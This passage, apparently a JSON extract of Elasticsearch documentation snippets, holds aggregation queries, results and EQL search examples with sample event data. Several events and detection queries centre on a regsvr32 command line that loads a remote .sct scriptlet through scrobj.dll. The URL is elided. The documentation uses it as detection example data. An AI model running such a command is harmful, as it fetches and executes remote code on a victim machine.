\"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"percentiles_monthly_sales\": {\n \"values\" : {\n \"25.0\": 375.0,\n \"50.0\": 375.0,\n \"75.0\": 550.0\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/serial-diff-aggregation.asciidoc","line":69},"digest":"b4da132cb934c33d61e2b60988c6d4a3","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": { <1>\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": {\n \"field\": \"lemmings\" <2>\n }\n },\n \"thirtieth_difference\": {\n \"serial_diff\": { <3>\n \"buckets_path\": \"the_sum\",\n \"lag\" : 30\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/stats-bucket-aggregation.asciidoc","line":41},"digest":"b573e893de0d5f92d67f4f5eb7f0c353","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"stats_monthly_sales\": {\n \"stats_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/stats-bucket-aggregation.asciidoc","line":75},"digest":"8a40309b0e17445519ad62f962926e24","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"stats_monthly_sales\": {\n \"count\": 3,\n \"min\": 60.0,\n \"max\": 550.0,\n \"avg\": 328.3333333333333,\n \"sum\": 985.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/sum-bucket-aggregation.asciidoc","line":42},"digest":"8db799543eb084ec71547980863d60b9","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"sum_monthly_sales\": {\n \"sum_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/sum-bucket-aggregation.asciidoc","line":76},"digest":"7da035d02f2d2267dd7b5de974555459","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"sum_monthly_sales\": {\n \"value\": 985.0\n }\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":66},"digest":"b839f79a5d58506baed5714f1876ab55","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":81},"digest":"26dda75335301caad781ce094e3046c0","lang":"console-result","found":[],"source":"{\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 60,\n \"timed_out\": false,\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:09.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"aR3NWVOs\",\n \"sequence\": 4\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"xLkCaj4EujzdNSxfYLbO\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:10.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"GTSmSqgz0U\",\n \"sequence\": 6,\n \"type\": \"termination\"\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":141},"digest":"044b2f99e7438e408685b258db17f863","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\",\n \"size\": 50\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":161},"digest":"0ac295efdabd59e7b1f1a4577535d942","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence\n [ process where process.name == \"regsvr32.exe\" ]\n [ file where stringContains(file.name, \"scrobj.dll\") ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":177},"digest":"7723882df18f3ae86c50c14c671e601b","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": ...,\n \"sequences\": [\n {\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:09.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"aR3NWVOs\",\n \"sequence\": 4\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"yDwnGIJouOYGBzP0ZE9n\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:10.000Z\",\n \"event\": {\n \"category\": \"file\",\n \"id\": \"tZ1NWVOs\",\n \"sequence\": 5\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n },\n \"file\": {\n \"path\": \"C:\\\\Windows\\\\System32\\\\scrobj.dll\",\n \"name\": \"scrobj.dll\"\n }\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":240},"digest":"937089157fc82cf08b68a954d0e6d52c","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence with maxspan=1h\n [ process where process.name == \"regsvr32.exe\" ]\n [ file where stringContains(file.name, \"scrobj.dll\") ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":256},"digest":"996521cef7803ef363a49ac6321ea1de","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence with maxspan=1d\n [ process where process.name == \"cmd.exe\" ]\n ![ process where stringContains(process.command_line, \"ocx\") ]\n [ file where stringContains(file.name, \"scrobj.dll\") ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":272},"digest":"1912ec47bcb2ebcc70ea9549ff1891b7","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": ...,\n \"sequences\": [\n {\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2023.07.04-000001\",\n \"_id\": \"AnpTIYkBrVQ2QEgsWg94\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:06:07.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"cMyt5SZ2\",\n \"sequence\": 3\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"cmd.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n }\n }\n },\n {\n \"_index\": \"\",\n \"_id\": \"\",\n \"_source\": {},\n \"missing\": true\n },\n {\n \"_index\": \".ds-my-data-stream-2023.07.04-000001\",\n \"_id\": \"BHpTIYkBrVQ2QEgsWg94\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:10.000Z\",\n \"event\": {\n \"category\": \"file\",\n \"id\": \"tZ1NWVOs\",\n \"sequence\": 5\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n },\n \"file\": {\n \"path\": \"C:\\\\Windows\\\\System32\\\\scrobj.dll\",\n \"name\": \"scrobj.dll\"\n }\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":340},"digest":"98621bea4765b1b838cc9daa914bf5c5","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence with maxspan=1h\n [ process where process.name == \"regsvr32.exe\" ] by process.pid\n [ file where stringContains(file.name, \"scrobj.dll\") ] by process.pid\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":356},"digest":"8a4941cae0b32d68b22bec2d12c82860","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence by process.pid with maxspan=1h\n [ process where process.name == \"regsvr32.exe\" ]\n [ file where stringContains(file.name, \"scrobj.dll\") ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":371},"digest":"8ee1b18027673554458d3afe72538638","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": ...,\n \"sequences\": [\n {\n \"join_keys\": [\n 2012\n ],\n \"events\": ...\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":394},"digest":"e494162e83ce041c56b2e2bc29d33474","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence by process.pid with maxspan=1h\n [ process where process.name == \"regsvr32.exe\" ]\n [ file where stringContains(file.name, \"scrobj.dll\") ]\n until [ process where event.type == \"termination\" ]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":422},"digest":"36b26905c5f96d0b785c3267fb63838d","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"ip\": {\n \"type\":\"ip\"\n },\n \"version\": {\n \"type\": \"version\"\n },\n \"missing_keyword\": {\n \"type\": \"keyword\"\n },\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"type_test\": {\n \"type\": \"keyword\"\n },\n \"@timestamp_pretty\": {\n \"type\": \"date\",\n \"format\": \"dd-MM-yyyy\"\n },\n \"event_type\": {\n \"type\": \"keyword\"\n },\n \"event\": {\n \"properties\": {\n \"category\": {\n \"type\": \"alias\",\n \"path\": \"event_type\"\n }\n }\n },\n \"host\": {\n \"type\": \"keyword\"\n },\n \"os\": {\n \"type\": \"keyword\"\n },\n \"bool\": {\n \"type\": \"boolean\"\n },\n \"uptime\" : {\n \"type\" : \"long\"\n },\n \"port\" : {\n \"type\" : \"long\"\n }\n }\n }\n}\n\nPUT /my-index-000002\n{\n \"mappings\": {\n \"properties\": {\n \"ip\": {\n \"type\":\"ip\"\n },\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"@timestamp_pretty\": {\n \"type\": \"date\",\n \"format\": \"yyyy-MM-dd\"\n },\n \"type_test\": {\n \"type\": \"keyword\"\n },\n \"event_type\": {\n \"type\": \"keyword\"\n },\n \"event\": {\n \"properties\": {\n \"category\": {\n \"type\": \"alias\",\n \"path\": \"event_type\"\n }\n }\n },\n \"host\": {\n \"type\": \"keyword\"\n },\n \"op_sys\": {\n \"type\": \"keyword\"\n },\n \"bool\": {\n \"type\": \"boolean\"\n },\n \"uptime\" : {\n \"type\" : \"long\"\n },\n \"port\" : {\n \"type\" : \"long\"\n }\n }\n }\n}\n\nPUT /my-index-000003\n{\n \"mappings\": {\n \"properties\": {\n \"host_ip\": {\n \"type\":\"ip\"\n },\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"date\": {\n \"type\": \"date\"\n },\n \"event_type\": {\n \"type\": \"keyword\"\n },\n \"event\": {\n \"properties\": {\n \"category\": {\n \"type\": \"alias\",\n \"path\": \"event_type\"\n }\n }\n },\n \"missing_keyword\": {\n \"type\": \"keyword\"\n },\n \"host\": {\n \"type\": \"keyword\"\n },\n \"os\": {\n \"type\": \"keyword\"\n },\n \"bool\": {\n \"type\": \"boolean\"\n },\n \"uptime\" : {\n \"type\" : \"long\"\n },\n \"port\" : {\n \"type\" : \"long\"\n }\n }\n }\n}\n\nPOST /my-index-000001/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"@timestamp\":\"1234567891\",\"@timestamp_pretty\":\"12-12-2022\",\"missing_keyword\":\"test\",\"type_test\":\"abc\",\"ip\":\"10.0.0.1\",\"event_type\":\"alert\",\"host\":\"doom\",\"uptime\":0,\"port\":1234,\"os\":\"win10\",\"version\":\"1.0.0\",\"id\":11}\n{\"index\":{\"_id\":2}}\n{\"@timestamp\":\"1234567892\",\"@timestamp_pretty\":\"13-12-2022\",\"event_type\":\"alert\",\"type_test\":\"abc\",\"host\":\"CS\",\"uptime\":5,\"port\":1,\"os\":\"win10\",\"version\":\"1.2.0\",\"id\":12}\n{\"index\":{\"_id\":3}}\n{\"@timestamp\":\"1234567893\",\"@timestamp_pretty\":\"12-12-2022\",\"event_type\":\"alert\",\"type_test\":\"abc\",\"host\":\"farcry\",\"uptime\":1,\"port\":1234,\"bool\":false,\"os\":\"win10\",\"version\":\"2.0.0\",\"id\":13}\n{\"index\":{\"_id\":4}}\n{\"@timestamp\":\"1234567894\",\"@timestamp_pretty\":\"13-12-2022\",\"event_type\":\"alert\",\"type_test\":\"abc\",\"host\":\"GTA\",\"uptime\":3,\"port\":12,\"os\":\"slack\",\"version\":\"10.0.0\",\"id\":14}\n{\"index\":{\"_id\":5}}\n{\"@timestamp\":\"1234567895\",\"@timestamp_pretty\":\"17-12-2022\",\"event_type\":\"alert\",\"host\":\"sniper 3d\",\"uptime\":6,\"port\":1234,\"os\":\"fedora\",\"version\":\"20.1.0\",\"id\":15}\n{\"index\":{\"_id\":6}}\n{\"@timestamp\":\"1234568896\",\"@timestamp_pretty\":\"17-12-2022\",\"event_type\":\"alert\",\"host\":\"doom\",\"port\":65123,\"bool\":true,\"os\":\"redhat\",\"version\":\"20.10.0\",\"id\":16}\n{\"index\":{\"_id\":7}}\n{\"@timestamp\":\"1234567897\",\"@timestamp_pretty\":\"17-12-2022\",\"missing_keyword\":\"yyy\",\"event_type\":\"failure\",\"host\":\"doom\",\"uptime\":15,\"port\":1234,\"bool\":true,\"os\":\"redhat\",\"version\":\"20.2.0\",\"id\":17}\n{\"index\":{\"_id\":8}}\n{\"@timestamp\":\"1234567898\",\"@timestamp_pretty\":\"12-12-2022\",\"missing_keyword\":\"test\",\"event_type\":\"success\",\"host\":\"doom\",\"uptime\":16,\"port\":512,\"os\":\"win10\",\"version\":\"1.2.3\",\"id\":18}\n{\"index\":{\"_id\":9}}\n{\"@timestamp\":\"1234567899\",\"@timestamp_pretty\":\"15-12-2022\",\"missing_keyword\":\"test\",\"event_type\":\"success\",\"host\":\"GTA\",\"port\":12,\"bool\":true,\"os\":\"win10\",\"version\":\"1.2.3\",\"id\":19}\n{\"index\":{\"_id\":10}}\n{\"@timestamp\":\"1234567893\",\"missing_keyword\":null,\"ip\":\"10.0.0.5\",\"event_type\":\"alert\",\"host\":\"farcry\",\"uptime\":1,\"port\":1234,\"bool\":true,\"os\":\"win10\",\"version\":\"1.2.3\",\"id\":110}\n\nPOST /my-index-000002/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"@timestamp\":\"1234567991\",\"type_test\":\"abc\",\"ip\":\"10.0.0.1\",\"event_type\":\"alert\",\"host\":\"doom\",\"uptime\":0,\"port\":1234,\"op_sys\":\"win10\",\"id\":21}\n{\"index\":{\"_id\":2}}\n{\"@timestamp\":\"1234567992\",\"type_test\":\"abc\",\"event_type\":\"alert\",\"host\":\"CS\",\"uptime\":5,\"port\":1,\"op_sys\":\"win10\",\"id\":22}\n{\"index\":{\"_id\":3}}\n{\"@timestamp\":\"1234567993\",\"type_test\":\"abc\",\"@timestamp_pretty\":\"2022-12-17\",\"event_type\":\"alert\",\"host\":\"farcry\",\"uptime\":1,\"port\":1234,\"bool\":false,\"op_sys\":\"win10\",\"id\":23}\n{\"index\":{\"_id\":4}}\n{\"@timestamp\":\"1234567994\",\"event_type\":\"alert\",\"host\":\"GTA\",\"uptime\":3,\"port\":12,\"op_sys\":\"slack\",\"id\":24}\n{\"index\":{\"_id\":5}}\n{\"@timestamp\":\"1234567995\",\"event_type\":\"alert\",\"host\":\"sniper 3d\",\"uptime\":6,\"port\":1234,\"op_sys\":\"fedora\",\"id\":25}\n{\"index\":{\"_id\":6}}\n{\"@timestamp\":\"1234568996\",\"@timestamp_pretty\":\"2022-12-17\",\"ip\":\"10.0.0.5\",\"event_type\":\"alert\",\"host\":\"doom\",\"port\":65123,\"bool\":true,\"op_sys\":\"redhat\",\"id\":26}\n{\"index\":{\"_id\":7}}\n{\"@timestamp\":\"1234567997\",\"@timestamp_pretty\":\"2022-12-17\",\"event_type\":\"failure\",\"host\":\"doom\",\"uptime\":15,\"port\":1234,\"bool\":true,\"op_sys\":\"redhat\",\"id\":27}\n{\"index\":{\"_id\":8}}\n{\"@timestamp\":\"1234567998\",\"ip\":\"10.0.0.1\",\"event_type\":\"success\",\"host\":\"doom\",\"uptime\":16,\"port\":512,\"op_sys\":\"win10\",\"id\":28}\n{\"index\":{\"_id\":9}}\n{\"@timestamp\":\"1234567999\",\"ip\":\"10.0.0.1\",\"event_type\":\"success\",\"host\":\"GTA\",\"port\":12,\"bool\":false,\"op_sys\":\"win10\",\"id\":29}\n\nPOST /my-index-000003/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"@timestamp\":\"1334567891\",\"host_ip\":\"10.0.0.1\",\"event_type\":\"alert\",\"host\":\"doom\",\"uptime\":0,\"port\":12,\"os\":\"win10\",\"id\":31}\n{\"index\":{\"_id\":2}}\n{\"@timestamp\":\"1334567892\",\"event_type\":\"alert\",\"host\":\"CS\",\"os\":\"win10\",\"id\":32}\n{\"index\":{\"_id\":3}}\n{\"@timestamp\":\"1334567893\",\"event_type\":\"alert\",\"host\":\"farcry\",\"bool\":true,\"os\":\"win10\",\"id\":33}\n{\"index\":{\"_id\":4}}\n{\"@timestamp\":\"1334567894\",\"event_type\":\"alert\",\"host\":\"GTA\",\"os\":\"slack\",\"bool\":true,\"id\":34}\n{\"index\":{\"_id\":5}}\n{\"@timestamp\":\"1234567895\",\"event_type\":\"alert\",\"host\":\"sniper 3d\",\"os\":\"fedora\",\"id\":35}\n{\"index\":{\"_id\":6}}\n{\"@timestamp\":\"1234578896\",\"host_ip\":\"10.0.0.1\",\"event_type\":\"alert\",\"host\":\"doom\",\"bool\":true,\"os\":\"redhat\",\"id\":36}\n{\"index\":{\"_id\":7}}\n{\"@timestamp\":\"1234567897\",\"event_type\":\"failure\",\"missing_keyword\":\"test\",\"host\":\"doom\",\"bool\":true,\"os\":\"redhat\",\"id\":37}\n{\"index\":{\"_id\":8}}\n{\"@timestamp\":\"1234577898\",\"event_type\":\"success\",\"host\":\"doom\",\"os\":\"win10\",\"id\":38,\"date\":\"1671235200000\"}\n{\"index\":{\"_id\":9}}\n{\"@timestamp\":\"1234577899\",\"host_ip\":\"10.0.0.5\",\"event_type\":\"success\",\"host\":\"GTA\",\"bool\":true,\"os\":\"win10\",\"id\":39}"}, {"source_location":{"file":"eql/eql.asciidoc","line":637},"digest":"5b1ae98ad03e2819fc7c3468840ef448","lang":"console","found":[],"source":"GET /my-index*/_eql/search\n{\n \"query\": \"\"\"\n sample by host\n [any where uptime > 0]\n [any where port > 100]\n [any where bool == true]\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":655},"digest":"42a02f0cb23a9c62ab10343bbcdc09a1","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"sequences\": [\n {\n \"join_keys\": [\n \"doom\" <1>\n ],\n \"events\": [\n { <2>\n \"_index\": \"my-index-000001\",\n \"_id\": \"7\",\n \"_source\": {\n \"@timestamp\": \"1234567897\",\n \"@timestamp_pretty\": \"17-12-2022\",\n \"missing_keyword\": \"yyy\",\n \"event_type\": \"failure\",\n \"host\": \"doom\",\n \"uptime\": 15,\n \"port\": 1234,\n \"bool\": true,\n \"os\": \"redhat\",\n \"version\": \"20.2.0\",\n \"id\": 17\n }\n },\n { <3>\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_source\": {\n \"@timestamp\": \"1234567891\",\n \"@timestamp_pretty\": \"12-12-2022\",\n \"missing_keyword\": \"test\",\n \"type_test\": \"abc\",\n \"ip\": \"10.0.0.1\",\n \"event_type\": \"alert\",\n \"host\": \"doom\",\n \"uptime\": 0,\n \"port\": 1234,\n \"os\": \"win10\",\n \"version\": \"1.0.0\",\n \"id\": 11\n }\n },\n { <4>\n \"_index\": \"my-index-000001\",\n \"_id\": \"6\",\n \"_source\": {\n \"@timestamp\": \"1234568896\",\n \"@timestamp_pretty\": \"17-12-2022\",\n \"event_type\": \"alert\",\n \"host\": \"doom\",\n \"port\": 65123,\n \"bool\": true,\n \"os\": \"redhat\",\n \"version\": \"20.10.0\",\n \"id\": 16\n }\n }\n ]\n },\n {\n \"join_keys\": [\n \"farcry\" <5>\n ],\n \"events\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"3\",\n \"_source\": {\n \"@timestamp\": \"1234567893\",\n \"@timestamp_pretty\": \"12-12-2022\",\n \"event_type\": \"alert\",\n \"type_test\": \"abc\",\n \"host\": \"farcry\",\n \"uptime\": 1,\n \"port\": 1234,\n \"bool\": false,\n \"os\": \"win10\",\n \"version\": \"2.0.0\",\n \"id\": 13\n }\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"10\",\n \"_source\": {\n \"@timestamp\": \"1234567893\",\n \"missing_keyword\": null,\n \"ip\": \"10.0.0.5\",\n \"event_type\": \"alert\",\n \"host\": \"farcry\",\n \"uptime\": 1,\n \"port\": 1234,\n \"bool\": true,\n \"os\": \"win10\",\n \"version\": \"1.2.3\",\n \"id\": 110\n }\n },\n {\n \"_index\": \"my-index-000003\",\n \"_id\": \"3\",\n \"_source\": {\n \"@timestamp\": \"1334567893\",\n \"event_type\": \"alert\",\n \"host\": \"farcry\",\n \"bool\": true,\n \"os\": \"win10\",\n \"id\": 33\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":789},"digest":"fef520cbc9b0656e6aac7b3dd3da9984","lang":"console","found":[],"source":"GET /my-index*/_eql/search\n{\n \"query\": \"\"\"\n sample by host\n [any where uptime > 0] by os\n [any where port > 100] by op_sys\n [any where bool == true] by os\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":806},"digest":"dfe4344099883d242c4b1580e0d22900","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"sequences\": [\n {\n \"join_keys\": [\n \"doom\", <1>\n \"redhat\"\n ],\n \"events\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"7\",\n \"_source\": {\n \"@timestamp\": \"1234567897\",\n \"@timestamp_pretty\": \"17-12-2022\",\n \"missing_keyword\": \"yyy\",\n \"event_type\": \"failure\",\n \"host\": \"doom\",\n \"uptime\": 15,\n \"port\": 1234,\n \"bool\": true,\n \"os\": \"redhat\",\n \"version\": \"20.2.0\",\n \"id\": 17\n }\n },\n {\n \"_index\": \"my-index-000002\",\n \"_id\": \"6\",\n \"_source\": {\n \"@timestamp\": \"1234568996\",\n \"@timestamp_pretty\": \"2022-12-17\",\n \"ip\": \"10.0.0.5\",\n \"event_type\": \"alert\",\n \"host\": \"doom\",\n \"port\": 65123,\n \"bool\": true,\n \"op_sys\": \"redhat\",\n \"id\": 26\n }\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"6\",\n \"_source\": {\n \"@timestamp\": \"1234568896\",\n \"@timestamp_pretty\": \"17-12-2022\",\n \"event_type\": \"alert\",\n \"host\": \"doom\",\n \"port\": 65123,\n \"bool\": true,\n \"os\": \"redhat\",\n \"version\": \"20.10.0\",\n \"id\": 16\n }\n }\n ]\n },\n {\n \"join_keys\": [\n \"farcry\",\n \"win10\"\n ],\n \"events\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"3\",\n \"_source\": {\n \"@timestamp\": \"1234567893\",\n \"@timestamp_pretty\": \"12-12-2022\",\n \"event_type\": \"alert\",\n \"type_test\": \"abc\",\n \"host\": \"farcry\",\n \"uptime\": 1,\n \"port\": 1234,\n \"bool\": false,\n \"os\": \"win10\",\n \"version\": \"2.0.0\",\n \"id\": 13\n }\n },\n {\n \"_index\": \"my-index-000002\",\n \"_id\": \"3\",\n \"_source\": {\n \"@timestamp\": \"1234567993\",\n \"type_test\": \"abc\",\n \"@timestamp_pretty\": \"2022-12-17\",\n \"event_type\": \"alert\",\n \"host\": \"farcry\",\n \"uptime\": 1,\n \"port\": 1234,\n \"bool\": false,\n \"op_sys\": \"win10\",\n \"id\": 23\n }\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"10\",\n \"_source\": {\n \"@timestamp\": \"1234567893\",\n \"missing_keyword\": null,\n \"ip\": \"10.0.0.5\",\n \"event_type\": \"alert\",\n \"host\": \"farcry\",\n \"uptime\": 1,\n \"port\": 1234,\n \"bool\": true,\n \"os\": \"win10\",\n \"version\": \"1.2.3\",\n \"id\": 110\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":944},"digest":"1ceaa211756e2db3d48c6bc4b1a861b0","lang":"console","found":[],"source":"GET /my-index*/_eql/search\n{\n \"max_samples_per_key\": 2, <1>\n \"size\": 20, <2>\n \"query\": \"\"\"\n sample\n [any where uptime > 0] by host,os\n [any where port > 100] by host,op_sys\n [any where bool == true] by host,os\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":974},"digest":"d1ce66957f8bd84bf01c4bfaee3ba0c3","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search?filter_path=hits.events._source.@timestamp,hits.events._source.process.pid\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":987},"digest":"76ac33430196fa9ef98747874d1fe6aa","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"events\": [\n {\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:09.000Z\",\n \"process\": {\n \"pid\": 2012\n }\n }\n },\n {\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:10.000Z\",\n \"process\": {\n \"pid\": 2012\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1024},"digest":"ba8c3578613ae0bf890f6a05706ce776","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search?filter_path=-hits.events._source\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\",\n \"fields\": [\n \"event.type\",\n \"process.*\", <1>\n {\n \"field\": \"@timestamp\",\n \"format\": \"epoch_millis\" <2>\n }\n ]\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1048},"digest":"e5407971d37c85df10671e764a609a4f","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": ...,\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"fields\": {\n \"process.name\": [\n \"regsvr32.exe\"\n ],\n \"process.name.keyword\": [\n \"regsvr32.exe\"\n ],\n \"@timestamp\": [\n \"4100324829000\"\n ],\n \"process.command_line\": [\n \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\"\n ],\n \"process.command_line.keyword\": [\n \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\"\n ],\n \"process.executable.keyword\": [\n \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n ],\n 